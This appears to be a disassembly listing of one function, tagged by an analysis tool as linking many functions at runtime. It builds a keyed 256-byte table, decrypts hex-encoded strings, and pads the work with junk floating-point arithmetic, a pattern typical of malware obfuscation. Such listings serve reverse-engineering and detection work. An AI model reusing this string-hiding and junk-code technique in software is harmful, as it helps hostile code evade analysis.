Function at 0x478da0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x63e4
call fcn.009b6ee0
mov eax, dword [0x9f8274]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov dword [ebp - 0x37e4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5698], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53b8], xmm0
mov dword [ebp - 0x3710], 0
mov dword [ebp - 0x4de8], 0
mov dword [ebp - 0x5ab4], 0
mov dword [ebp - 0x5404], 1
mov dword [ebp - 0x4878], 0
mov dword [ebp - 0x5d30], 0
mov dword [ebp - 0x39c0], 0
mov dword [ebp - 0x3ef4], 0
mov dword [ebp - 0x3dcc], 0
mov dword [ebp - 0x3dd0], 0
mov dword [ebp - 0x3ef8], 0
mov dword [ebp - 0x3dd4], 0
mov dword [ebp - 0x3dd8], 0
mov dword [ebp - 0x3ddc], 0
mov dword [ebp - 0x3de0], 0
mov dword [ebp - 0x3efc], 0
mov dword [ebp - 0x3f00], 0
mov dword [ebp - 0x3f04], 0
mov dword [ebp - 0x4dfc], 0
mov byte [ebp - 0x3586], 0
mov byte [ebp - 0x35a8], 0
mov byte [ebp - 0x3662], 0
mov byte [ebp - 0x35a9], 0
mov byte [ebp - 0x35f5], 0
mov byte [ebp - 0x377a], 0
mov byte [ebp - 0x41a6], 0
mov byte [ebp - 0x3640], 0
mov byte [ebp - 0x3660], 0
mov byte [ebp - 0x375c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5698], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53b8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x53b8], xmm0
jmp 0x478f19
movsd xmm0, qword [ebp - 0x53b8]
addsd xmm0, qword [0x9d9050]
movsd qword [ebp - 0x53b8], xmm0
movsd xmm0, qword [0x9db2e8]
comisd xmm0, xmmword [ebp - 0x53b8]
jbe 0x478fca
movsd xmm0, qword [0x9da320]
mulsd xmm0, qword [ebp - 0x53b8]
mulsd xmm0, qword [ebp - 0x53b8]
movsd xmm1, qword [ebp - 0x53b8]
mulsd xmm1, qword [ebp - 0x53b8]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9ef0]
mulsd xmm1, qword [ebp - 0x53b8]
mulsd xmm1, qword [ebp - 0x53b8]
addsd xmm1, qword [0x9d9f60]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5698]
movsd qword [ebp - 0x5698], xmm0
movsd xmm0, qword [ebp - 0x5698]
comisd xmm0, xmmword [0x9da0c8]
jbe 0x478fc5
movsd xmm0, qword [0x9d9d08]
mulsd xmm0, qword [ebp - 0x53b8]
movsd xmm1, qword [ebp - 0x5698]
subsd xmm1, xmm0
movsd qword [ebp - 0x5698], xmm1
jmp 0x478f01
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5698]
jbe 0x47900a
dec edi
cmp bh, byte [0x3834556f]
push edi
xor byte [edx + 0x7d], bh
push esp
inc ebp
jnp 0x47901a
jo 0x47900e
daa
dec edi
dec edi
dec eax
inc ebp
imul edi, dword [edx + ebp*4], 0xb0c6b5c7
invalid
mov dword [ebp - 0x61bc], 0x478fef
mov dword [ebp - 0x61c0], 0x478fd7
invalid
xlatb
pop dword [edi]
mov eax, dword [ebp - 0x61bc]
mov dword [ebp - 0x4104], eax
mov ecx, dword [ebp - 0x61c0]
mov dword [ebp - 0x61c4], ecx
mov byte [ebp - 0x41a6], 0x1c
mov dword [ebp - 0x3710], 0
mov dword [ebp - 0x4de8], 0
mov dword [ebp - 0x3710], 0
jmp 0x47906c
mov edx, dword [ebp - 0x3710]
add edx, 1
mov dword [ebp - 0x3710], edx
cmp dword [ebp - 0x3710], 0x100
jae 0x479092
mov eax, dword [ebp - 0x3710]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [ebp - 0x3710]
mov byte [eax + ecx], dl
jmp 0x47905d
mov dword [ebp - 0x4de8], 0
mov byte [ebp - 0x377a], 0
mov dword [ebp - 0x3710], 0xff
jmp 0x4790be
mov eax, dword [ebp - 0x3710]
sub eax, 1
mov dword [ebp - 0x3710], eax
cmp dword [ebp - 0x3710], 0
jbe 0x479384
mov dword [ebp - 0x5ab4], 0
mov dword [ebp - 0x5404], 1
mov dword [ebp - 0x4878], 0
mov ecx, dword [ebp - 0x5404]
cmp ecx, dword [ebp - 0x3710]
jae 0x47910a
mov edx, dword [ebp - 0x5404]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5404], edx
jmp 0x4790e9
mov eax, dword [ebp - 0x4de8]
mov dword [ebp - 0x5f88], eax
cmp dword [ebp - 0x5f88], 3
ja case.default.0x479129
mov ecx, dword [ebp - 0x5f88]
jmp dword [ecx*4 + 0x4f070c]
movzx edx, byte [ebp - 0x377a]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5698]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x377a], bl
jmp 0x479230
movzx ecx, byte [ebp - 0x377a]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5698]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x377a], bl
jmp 0x479230
movzx eax, byte [ebp - 0x377a]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5698]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x377a], bl
jmp 0x479230
movzx edx, byte [ebp - 0x377a]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5698]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x377a], bl
jmp 0x479230
movzx ecx, byte [ebp - 0x377a]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4de8]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x61c4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x377a], al
mov eax, dword [ebp - 0x4de8]
add eax, 1
mov dword [ebp - 0x4de8], eax
movzx ecx, byte [ebp - 0x41a6]
cmp dword [ebp - 0x4de8], ecx
jb 0x47926e
mov dword [ebp - 0x4de8], 0
movzx edx, byte [ebp - 0x41a6]
movzx eax, byte [ebp - 0x377a]
add eax, edx
mov byte [ebp - 0x377a], al
movzx ecx, byte [ebp - 0x377a]
and ecx, dword [ebp - 0x5404]
mov dword [ebp - 0x4878], ecx
mov edx, dword [ebp - 0x5ab4]
add edx, 1
mov dword [ebp - 0x5ab4], edx
cmp dword [ebp - 0x5ab4], 0xb
jbe 0x4792ad
mov eax, dword [ebp - 0x4878]
xor edx, edx
div dword [ebp - 0x3710]
mov dword [ebp - 0x4878], edx
mov eax, dword [ebp - 0x4878]
cmp eax, dword [ebp - 0x3710]
ja 0x47910a
mov ecx, dword [ebp - 0x3710]
cmp ecx, dword [ebp - 0x4878]
je 0x47937f
mov edx, dword [ebp - 0x3710]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov ecx, dword [ebp - 0x4878]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3710]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x4878]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov ecx, dword [ebp - 0x3710]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x4878]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x3710]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov ecx, dword [ebp - 0x4878]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x3710]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov byte [eax + ecx], dl
jmp 0x4790af
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3586], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x1d10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35a8], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x1d10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3662], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x1d10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35a9], cl
movzx edx, byte [ebp - 0x377a]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35f5], cl
mov dword [ebp - 0x5d30], 0x16
cmp dword [ebp - 0x5d30], 2
jle 0x47bb28
mov edx, dword [ebp - 0x5d30]
and edx, 1
jne 0x47bb28
mov dword [ebp - 0x3710], 0
movss xmm0, dword [0x9db704]
movss dword [ebp - 0x4dec], xmm0
movss xmm0, dword [0x9db5d4]
movss dword [ebp - 0x487c], xmm0
movss xmm0, dword [0x9db4c8]
movss dword [ebp - 0x4f60], xmm0
movss xmm0, dword [0x9db38c]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x487c]
subss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x487c], xmm0
movss xmm0, dword [ebp - 0x487c]
addss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x487c], xmm0
movss xmm0, dword [ebp - 0x4dec]
mulss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x4dec], xmm0
movss xmm0, dword [ebp - 0x4f60]
subss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x4f60], xmm0
movss xmm0, dword [ebp - 0x4f60]
comiss xmm0, dword [ebp - 0x4dec]
jbe 0x47953c
movss xmm0, dword [ebp - 0x4f60]
mulss xmm0, dword [ebp - 0x4dec]
movss dword [ebp - 0x4f60], xmm0
movss xmm0, dword [ebp - 0x43fc]
subss xmm0, dword [ebp - 0x487c]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x43fc]
addss xmm0, dword [ebp - 0x487c]
movss dword [ebp - 0x43fc], xmm0
movss xmm0, dword [ebp - 0x43fc]
addss xmm0, dword [ebp - 0x487c]
movss dword [ebp - 0x43fc], xmm0
jmp 0x4795a6
movss xmm0, dword [ebp - 0x4dec]
addss xmm0, dword [ebp - 0x4f60]
movss dword [ebp - 0x4dec], xmm0
movss xmm0, dword [ebp - 0x43fc]
addss xmm0, dword [ebp - 0x487c]
movss dword [ebp - 0x43fc], xmm0
mov dword [ebp - 0x39c0], 0
movss xmm0, dword [ebp - 0x4dec]
subss xmm0, dword [ebp - 0x4f60]
movss dword [ebp - 0x4dec], xmm0
movss xmm0, dword [ebp - 0x487c]
addss xmm0, dword [ebp - 0x43fc]
movss dword [ebp - 0x487c], xmm0
mov eax, dword [ebp - 0x39c0]
add eax, 1
mov dword [ebp - 0x39c0], eax
mov dword [ebp - 0x3ef4], 0
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
mov dword [ebp - 0x3ef4], ecx
mov dword [ebp - 0x3dcc], 0
mov edx, dword [ebp - 0x3ef4]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3dcc]
mov dword [ebp - 0x3dcc], eax
mov dword [ebp - 0x3dd0], 0
mov ecx, dword [ebp - 0x3dd0]
add ecx, 0xa7
mov dword [ebp - 0x3dd0], ecx
mov dword [ebp - 0x3ef8], 0
mov edx, dword [ebp - 0x3710]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3ef8], edx
mov dword [ebp - 0x3dd4], 0
movss xmm0, dword [0x9db838]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [0x9db680]
movss dword [ebp - 0x4108], xmm0
movss xmm0, dword [0x9db474]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x4108]
subss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x4108], xmm0
movss xmm0, dword [ebp - 0x3d8c]
addss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [ebp - 0x3d8c]
subss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [ebp - 0x3d8c]
comiss xmm0, dword [ebp - 0x4108]
jbe 0x47972a
mov eax, dword [ebp - 0x3ef8]
shl eax, 0
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3dd4]
mov dword [ebp - 0x3dd4], ecx
movss xmm0, dword [ebp - 0x39b8]
mulss xmm0, dword [ebp - 0x3d8c]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x39b8]
subss xmm0, dword [ebp - 0x3d8c]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x4108]
mulss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x4108], xmm0
jmp 0x47985d
movss xmm0, dword [ebp - 0x3d8c]
subss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [ebp - 0x39b8]
mulss xmm0, dword [ebp - 0x4108]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x4108]
divss xmm0, dword [ebp - 0x3d8c]
movss dword [ebp - 0x4108], xmm0
movss xmm0, dword [ebp - 0x4108]
subss xmm0, dword [ebp - 0x3d8c]
movss dword [ebp - 0x4108], xmm0
movss xmm0, dword [ebp - 0x4108]
addss xmm0, dword [ebp - 0x3d8c]
movss dword [ebp - 0x4108], xmm0
movss xmm0, dword [ebp - 0x3d8c]
addss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [ebp - 0x39b8]
comiss xmm0, dword [ebp - 0x3d8c]
jbe 0x479815
movss xmm0, dword [ebp - 0x3d8c]
mulss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
movss xmm0, dword [ebp - 0x39b8]
divss xmm0, dword [ebp - 0x4108]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x3d8c]
mulss xmm0, dword [ebp - 0x39b8]
movss dword [ebp - 0x3d8c], xmm0
jmp 0x47985d
movss xmm0, dword [ebp - 0x39b8]
addss xmm0, dword [ebp - 0x4108]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x39b8]
mulss xmm0, dword [ebp - 0x4108]
movss dword [ebp - 0x39b8], xmm0
movss xmm0, dword [ebp - 0x39b8]
mulss xmm0, dword [ebp - 0x4108]
movss dword [ebp - 0x39b8], xmm0
mov dword [ebp - 0x3dd8], 0
mov edx, dword [ebp - 0x3dd8]
add edx, 0xc0
mov dword [ebp - 0x3dd8], edx
mov dword [ebp - 0x3ddc], 0
mov eax, dword [ebp - 0x3dcc]
sub eax, dword [ebp - 0x3dd0]
add eax, dword [ebp - 0x3ddc]
mov dword [ebp - 0x3ddc], eax
mov dword [ebp - 0x3de0], 0
mov ecx, dword [ebp - 0x3dd4]
sub ecx, dword [ebp - 0x3dd8]
add ecx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3de0], ecx
mov dword [ebp - 0x3efc], 0
mov edx, dword [ebp - 0x3ddc]
shl edx, 4
mov dword [ebp - 0x3efc], edx
mov dword [ebp - 0x3f00], 0
mov eax, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], eax
mov dword [ebp - 0x3f04], 0
mov ecx, dword [ebp - 0x3efc]
or ecx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], ecx
mov byte [ebp - 0x3640], 0
mov dl, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], dl
mov byte [ebp - 0x3660], 0
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3660], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35a8]
add eax, edx
mov byte [ebp - 0x35a8], al
mov cl, byte [ebp - 0x3586]
add cl, 1
mov byte [ebp - 0x3586], cl
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [ebp - 0x3660]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3660]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3662]
add edx, ecx
mov byte [ebp - 0x3662], dl
movzx eax, byte [ebp - 0x3640]
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3662]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35a9], al
mov al, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], al
mov cl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], cl
cmp dword [ebp - 0x3710], 0
jbe 0x479b02
mov edx, dword [ebp - 0x3710]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x54]
mov cl, byte [ebp - 0x375c]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3710]
add edx, 1
mov dword [ebp - 0x3710], edx
mov eax, dword [ebp - 0x39c0]
add eax, 1
mov dword [ebp - 0x39c0], eax
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
mov dword [ebp - 0x3ef4], ecx
movss xmm0, dword [0x9db894]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [0x9db7cc]
movss dword [ebp - 0x4198], xmm0
movss xmm0, dword [0x9db6e4]
movss dword [ebp - 0x416c], xmm0
movss xmm0, dword [0x9db5c4]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [0x9db4b8]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [0x9db380]
movss dword [ebp - 0x3bfc], xmm0
movss xmm0, dword [ebp - 0x39bc]
addss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x39bc]
subss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x39bc]
addss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x39bc]
mulss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3dc8]
addss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x3adc]
subss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x3bfc]
comiss xmm0, dword [ebp - 0x39bc]
jbe 0x479e92
movss xmm0, dword [ebp - 0x3bfc]
subss xmm0, dword [ebp - 0x3adc]
movss dword [ebp - 0x3bfc], xmm0
movss xmm0, dword [ebp - 0x3dc8]
addss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x4198]
subss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x4198], xmm0
movss xmm0, dword [ebp - 0x3bfc]
addss xmm0, dword [ebp - 0x3adc]
movss dword [ebp - 0x3bfc], xmm0
movss xmm0, dword [ebp - 0x4198]
subss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x4198], xmm0
movss xmm0, dword [ebp - 0x39bc]
mulss xmm0, dword [ebp - 0x3dc8]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3dc8]
mulss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x39bc]
subss xmm0, dword [ebp - 0x3dc8]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x4198]
divss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x4198], xmm0
movss xmm0, dword [ebp - 0x3dc8]
mulss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x416c]
addss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x416c], xmm0
movss xmm0, dword [ebp - 0x39bc]
subss xmm0, dword [ebp - 0x3dc8]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3bfc]
comiss xmm0, dword [ebp - 0x4198]
jbe 0x479dfd
movss xmm0, dword [ebp - 0x3adc]
mulss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x416c]
subss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x416c], xmm0
movss xmm0, dword [ebp - 0x3dc8]
mulss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x3dc8]
mulss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x3adc]
mulss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x3adc]
divss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3adc], xmm0
jmp 0x479e8d
movss xmm0, dword [ebp - 0x3bfc]
divss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3bfc], xmm0
movss xmm0, dword [ebp - 0x3dc8]
divss xmm0, dword [ebp - 0x3adc]
movss dword [ebp - 0x3dc8], xmm0
movss xmm0, dword [ebp - 0x3adc]
divss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x3adc]
divss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x39bc]
subss xmm0, dword [ebp - 0x3bfc]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x3adc]
divss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x3adc], xmm0
jmp 0x479f3a
movss xmm0, dword [ebp - 0x416c]
mulss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x416c], xmm0
mov edx, dword [ebp - 0x3ef4]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dcc], eax
movss xmm0, dword [ebp - 0x3adc]
subss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x39bc]
addss xmm0, dword [ebp - 0x3dc8]
movss dword [ebp - 0x39bc], xmm0
movss xmm0, dword [ebp - 0x416c]
mulss xmm0, dword [ebp - 0x39bc]
movss dword [ebp - 0x416c], xmm0
movss xmm0, dword [ebp - 0x3adc]
mulss xmm0, dword [ebp - 0x4198]
movss dword [ebp - 0x3adc], xmm0
movss xmm0, dword [ebp - 0x4198]
addss xmm0, dword [ebp - 0x416c]
movss dword [ebp - 0x4198], xmm0
mov dword [ebp - 0x3dd0], 0xa7
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3ef8], ecx
mov edx, dword [ebp - 0x3ef8]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dd4], eax
mov dword [ebp - 0x3dd8], 0xc0
movss xmm0, dword [0x9db820]
movss dword [ebp - 0x46a0], xmm0
movss xmm0, dword [0x9db768]
movss dword [ebp - 0x45b8], xmm0
movss xmm0, dword [0x9db668]
movss dword [ebp - 0x5408], xmm0
movss xmm0, dword [0x9db570]
movss dword [ebp - 0x4ad4], xmm0
movss xmm0, dword [0x9db468]
movss dword [ebp - 0x4df0], xmm0
movss xmm0, dword [0x9db35c]
movss dword [ebp - 0x4748], xmm0
movss xmm0, dword [ebp - 0x46a0]
addss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x46a0], xmm0
movss xmm0, dword [ebp - 0x4ad4]
subss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x4ad4], xmm0
movss xmm0, dword [ebp - 0x45b8]
addss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x45b8], xmm0
movss xmm0, dword [ebp - 0x4df0]
addss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x4df0], xmm0
movss xmm0, dword [ebp - 0x45b8]
addss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x45b8], xmm0
movss xmm0, dword [ebp - 0x5408]
subss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x5408], xmm0
movss xmm0, dword [ebp - 0x4748]
comiss xmm0, dword [ebp - 0x45b8]
jbe 0x47a111
movss xmm0, dword [ebp - 0x4df0]
mulss xmm0, dword [ebp - 0x46a0]
movss dword [ebp - 0x4df0], xmm0
movss xmm0, dword [ebp - 0x4df0]
subss xmm0, dword [ebp - 0x46a0]
movss dword [ebp - 0x4df0], xmm0
movss xmm0, dword [ebp - 0x4ad4]
divss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x4ad4], xmm0
movss xmm0, dword [ebp - 0x46a0]
addss xmm0, dword [ebp - 0x5408]
movss dword [ebp - 0x46a0], xmm0
movss xmm0, dword [ebp - 0x45b8]
addss xmm0, dword [ebp - 0x4ad4]
movss dword [ebp - 0x45b8], xmm0
movss xmm0, dword [ebp - 0x45b8]
subss xmm0, dword [ebp - 0x4ad4]
movss dword [ebp - 0x45b8], xmm0
jmp 0x47a1b3
movss xmm0, dword [ebp - 0x46a0]
addss xmm0, dword [ebp - 0x5408]
movss dword [ebp - 0x46a0], xmm0
movss xmm0, dword [ebp - 0x46a0]
addss xmm0, dword [ebp - 0x5408]
movss dword [ebp - 0x46a0], xmm0
movss xmm0, dword [ebp - 0x45b8]
mulss xmm0, dword [ebp - 0x4ad4]
movss dword [ebp - 0x45b8], xmm0
movss xmm0, dword [ebp - 0x4ad4]
subss xmm0, dword [ebp - 0x4748]
movss dword [ebp - 0x4ad4], xmm0
movss xmm0, dword [ebp - 0x4df0]
subss xmm0, dword [ebp - 0x46a0]
movss dword [ebp - 0x4df0], xmm0
mov ecx, dword [ebp - 0x3dcc]
sub ecx, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], ecx
movss xmm0, dword [ebp - 0x4748]
subss xmm0, dword [ebp - 0x45b8]
movss dword [ebp - 0x4748], xmm0
mov edx, dword [ebp - 0x3dd4]
sub edx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], edx
mov eax, dword [ebp - 0x3ddc]
shl eax, 4
mov dword [ebp - 0x3efc], eax
mov ecx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], ecx
mov edx, dword [ebp - 0x3efc]
or edx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], edx
mov al, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], al
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea edx, [ebp - 0x1d10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3660], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35a8]
add ecx, eax
mov byte [ebp - 0x35a8], cl
mov dl, byte [ebp - 0x3586]
add dl, 1
mov byte [ebp - 0x3586], dl
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
